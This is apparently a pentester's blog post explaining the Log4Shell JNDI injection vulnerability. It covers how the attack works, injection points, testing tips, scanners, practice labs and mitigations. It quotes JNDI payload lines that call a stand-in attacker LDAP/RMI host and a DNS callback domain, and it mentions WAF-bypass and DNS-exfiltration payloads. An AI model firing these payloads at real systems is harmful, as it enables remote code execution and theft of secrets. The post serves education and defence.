Java Log4JShell Vulnerability – What I Learned About it This Week

Last Thursday, a vulnerability was disclosed in the Log4J logging library affecting many Java applications worldwide.

The vulnerability is called Log4Shell (CVE-2021–44228). It allows an attacker to inject a crafted payload anywhere in the requests that get parsed and executed by the vulnerable application.

There are a lot of resources out there on Twitter, Reddit, and YouTube about this epic vulnerability. I wanted to create this post to summarize the main things I learned, ways to test it as pentester, and the mitigation controls that help prevent the exploitation of this vulnerability.

Log4Shell Vulnerability Overview

The Log4Shell vulnerability is a Java JNDI injection. It’s not a new vulnerability, though – there was a Blackhat talk in 2016 about it by Alvaro Munoz & Oleksandr Mirosh.

Older versions of the library 1. x are not vulnerable to code execution. The logs are encapsulated in string format as they should be, and they don’t get parsed.

Interestingly, the vulnerability was introduced with the new JNDI lookup feature in version 2.0–2.15.0 that allows any inputs to be parsed and interpreted by the application no matter where it originates.

These include web applications, databases, email servers, routers, endpoint agents, mobile apps, IoT devices — you name it (if it runs Java, it could be vulnerable).

Below is an excellent diagram by Rob Fuller (@mubix) showing this vulnerability’s impact.

It was scary when I started looking around the room for all the devices that could be vulnerable. I tested my phone, fitness watch, and washing machine (because why not!!) through its mobile app.

I got DNS callbacks from all of them. 😱

JNDI, or Java Naming Directory Interface, is an API that allows the Java application to perform searches on objects based on their names. It supports several directory services like LDAP, RMI, DNS, and CORBA.

Most of the payloads I have seen use LDAP, DNS, and RMI protocols to perform the DNS requests.

For the RCE pocs, the attacker needs to set up an LDAP server to allow the vulnerable application to connect to it. So, the targeted applications must allow LDAP outgoing connections to the attacker-controlled server to load the malicious object.

DNS requests are insufficient to confirm if the application is vulnerable to remote code execution. However, it is still impactful, as these requests can exfiltrate sensitive data that helps compromise the targets.

Impact of the Log4Shell Vulnerability

The main impacts of this vulnerability are:

  • Data Exfiltration through DNS
  • Remote Code Execution with malicious Java objects and Rogue LDAP servers

Patched Version

The Log4J version 2.17 is patched.2.15.0 and 2.16.0 patches were bypassed while writing this article.

How Attackers Exploit Log4Shell 💻

The attacker sets up a rogue LDAP server, creates an exploit payload class, and stores it as an LDAP object such as “Log4JPayload.class” to get referenced later.

Then, the attacker inserts the crafted JNDI injection to any requests that are likely to be logged, such as the request paths, HTTP headers, Filenames, Document/Images EXIF and so on (see below injection points).

Payload Examples

${jndi:ldap://attackermachine:portnumber/Log4JPayload.class} ${jndi:rmi://attackermachine:portnumber/Log4JPayload.class}

When the malicious requests get logged, the Log4J library will parse the injected inputs and reach out to the rogue LDAP server to load the malicious class.

The application then executes the referenced class, and the attacker gains remote code execution on the vulnerable application.

InjectionPoints

One main injection point is in request paths like in the example below:
GET /${jndi:ldap://c6xppah2n.dnslog.cn/d} HTTP/1.1

Another is in HTTP Headers. An attacker can inject the payloads in any HTTP Headers. All of them are valid injection points when conducting an application testing. Musa Şana compiled a more extensive list.

Injection Points

It is essential to remember that the exploit doesn’t result in an immediate callback all the time. It sometimes takes minutes to hours to get something back.

I waited around 25 minutes before getting the first callbacks from my watch when I tested it. So for black-box testing, give the application sufficient time before deciding whether it’s vulnerable or not. Be patient ⏰!

Log4Shell Payloads

There are so many payloads that have been posted on Twitter in the last couple of days that are worth going over. Some payloads use obfuscation to bypass the popular WAFs like Akamai, Cloudflare, and AWS WAF.

Below is a screenshot of the payloads collected from Twitter.

I compiled the interesting ones on Carbon snippet.

Collected Payloads from Twitter – https://carbon.now.sh/kUtwFTZzm3isgHSwWwKk 

Data Exfiltration Examples

Suppose an application is not vulnerable to remote code execution or blocks outgoing LDAP connections. In that case, an attacker or pentester can still leverage this vulnerability to extract sensitive information such as secret keys, tokens, and configuration files of the application itself and the hosted infrastructure.

An attacker can then leverage the information to choose the appropriate attack vector to compromise the targeted application.

Carbon Sinppet – https://carbon.now.sh/kToUK7dCk0KJkri0qvXf

Auotmated Checks

Automated scans help during a black-box pentest to perform cursory checks on many hosts. Below is the list of major known scanning tools that can help you achieve that:

DNS Log Monitor Services

To quickly test the application, we use the below services to create a DNS token for our payload and see if we get the callbacks.

Vulnerable Apps to Test:🔥

There are a number of great, ready-to-spin-up vulnerable applications on GitHub, PentesterLabs, and TryHackMe for testing this vulnerability.

My favorite is the Log4Shell app (it requires some setup and can show you behind the scenes of setting up a rogue LDAP server and connecting to it). However, if you want to test this quickly, TryHackMe Solar room is the way to go.

Log4Shell Mitigations

In order to protect yourself from this vulnerability, here are some steps you can take:

  • Upgrade to the latest version of Log4J — v2.17.0.

  • Disable lookups within messages log4j2.formatMsgNoLookups=true

  • Remove the JndiLookup class from the classpath zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

  • Apply firewall rules to limit communications to only a few allowable hosts, not with everyone. Mick Douglas explains it well in his Tweet about the IMMA model “Isolate,” “Minimize,” “Monitor,” and “Active Defense”!

That’s all for today. This was a hell of a week. I learned many new things about Java injections and exploitation.

Thanks for reading!!

Learn More About Log4JShell

Posted by Contributor